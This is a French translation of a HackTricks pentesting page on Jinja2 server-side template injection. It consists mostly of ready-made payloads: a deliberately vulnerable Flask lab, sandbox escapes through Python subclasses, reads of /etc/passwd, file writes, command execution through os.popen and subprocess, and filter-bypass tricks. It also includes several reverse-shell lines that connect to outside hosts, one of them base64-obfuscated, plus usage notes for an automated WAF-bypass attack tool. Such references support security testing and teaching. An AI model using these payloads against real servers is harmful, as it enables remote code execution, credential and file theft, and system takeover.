hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md

16 KiB
Raw Blame History

Jinja2 SSTI

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

D'autres façons de soutenir HackTricks :

Lab

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

Débogage

Si l'extension de débogage est activée, une balise debug sera disponible pour afficher le contexte actuel ainsi que les filtres et tests disponibles. Cela est utile pour voir ce qui est disponible à utiliser dans le modèle sans configurer un débogueur.

<pre>

{% raw %}
{% debug %}
{% endraw %}





</pre>

Afficher toutes les variables de configuration

Source : https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement

{{ config }} #In these object you can find all the configured env variables


{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}



Injection Jinja

Tout d'abord, dans une injection Jinja, vous devez trouver un moyen de vous échapper du bac à sable et récupérer l'accès au flux d'exécution Python régulier. Pour ce faire, vous devez abuser des objets qui proviennent de l'environnement non bac à sable mais sont accessibles depuis le bac à sable.

Accès aux objets globaux

Par exemple, dans le code render_template("hello.html", username=username, email=email) les objets username et email proviennent de l'environnement Python non bac à sable et seront accessibles à l'intérieur de l'environnement bac à sable.
De plus, il existe d'autres objets qui seront toujours accessibles depuis l'environnement bac à sable, ce sont:

[]
''
()
dict
config
request

Récupération de <class 'object'>

Ensuite, à partir de ces objets, nous devons accéder à la classe : <class 'object'> afin de tenter de récupérer les classes définies. Cela est nécessaire car à partir de cet objet, nous pouvons appeler la méthode __subclasses__ et accéder à toutes les classes de l'environnement python non sandboxé.

Pour accéder à cette classe objet, vous devez accéder à un objet de classe puis accéder à __base__, __mro__()[-1] ou .mro()[-1]. Ensuite, après avoir atteint cette classe objet, nous appelons __subclasses__().

Vérifiez ces exemples :

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}



# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

Évasion de RCE

Ayant récupéré <class 'object'> et appelé __subclasses__, nous pouvons maintenant utiliser ces classes pour lire et écrire des fichiers et exécuter du code.

L'appel à __subclasses__ nous a donné l'opportunité d'accéder à des centaines de nouvelles fonctions, nous serons heureux simplement en accédant à la classe de fichier pour lire/écrire des fichiers ou à toute classe ayant accès à une classe qui permet d'exécuter des commandes (comme os).

Lire/Écrire un fichier distant

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

Exécution de code à distance (RCE)

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'

<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}


## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

Pour en savoir plus sur les classes supplémentaires que vous pouvez utiliser pour échapper, vous pouvez vérifier:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Contournements de filtres

Contournements courants

Ces contournements nous permettront d'accéder aux attributs des objets sans utiliser certains caractères.
Nous avons déjà vu certains de ces contournements dans les exemples précédents, mais résumons-les ici:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}



Éviter l'encodage HTML

Par défaut, Flask encode en HTML tout ce qui se trouve à l'intérieur d'un modèle pour des raisons de sécurité :

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

Le filtre safe nous permet d'injecter du JavaScript et du HTML dans la page sans qu'ils soient encodés en HTML, comme ceci :

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

Exécution de code à distance en écrivant un fichier de configuration malveillant.

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Sans plusieurs caractères

Sans {{ . [ ] }} _

{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}



Injection Jinja sans <class 'object'>

À partir des objets globaux, il existe une autre façon d'obtenir une RCE sans utiliser cette classe.
Si vous parvenez à accéder à une fonction à partir de ces objets globaux, vous pourrez accéder à __globals__.__builtins__ et à partir de là, la RCE est très simple.

Vous pouvez trouver des fonctions à partir des objets request, config et tout autre objet global intéressant auquel vous avez accès avec :

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

Une fois que vous avez trouvé certaines fonctions, vous pouvez récupérer les fonctions intégrées avec :

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}

## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Fuzzing WAF bypass

Fenjing https://github.com/Marven11/Fenjing 是一种专门用于CTF的工具但也可以用于在真实场景中暴力破解无效参数。该工具只是向服务器发送单词和查询以检测过滤器搜索绕过方式并提供交互式控制台。

webui:
As the name suggests, web UI
Default port 11451

scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'

crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name

crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'

crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

Autres façons de soutenir HackTricks :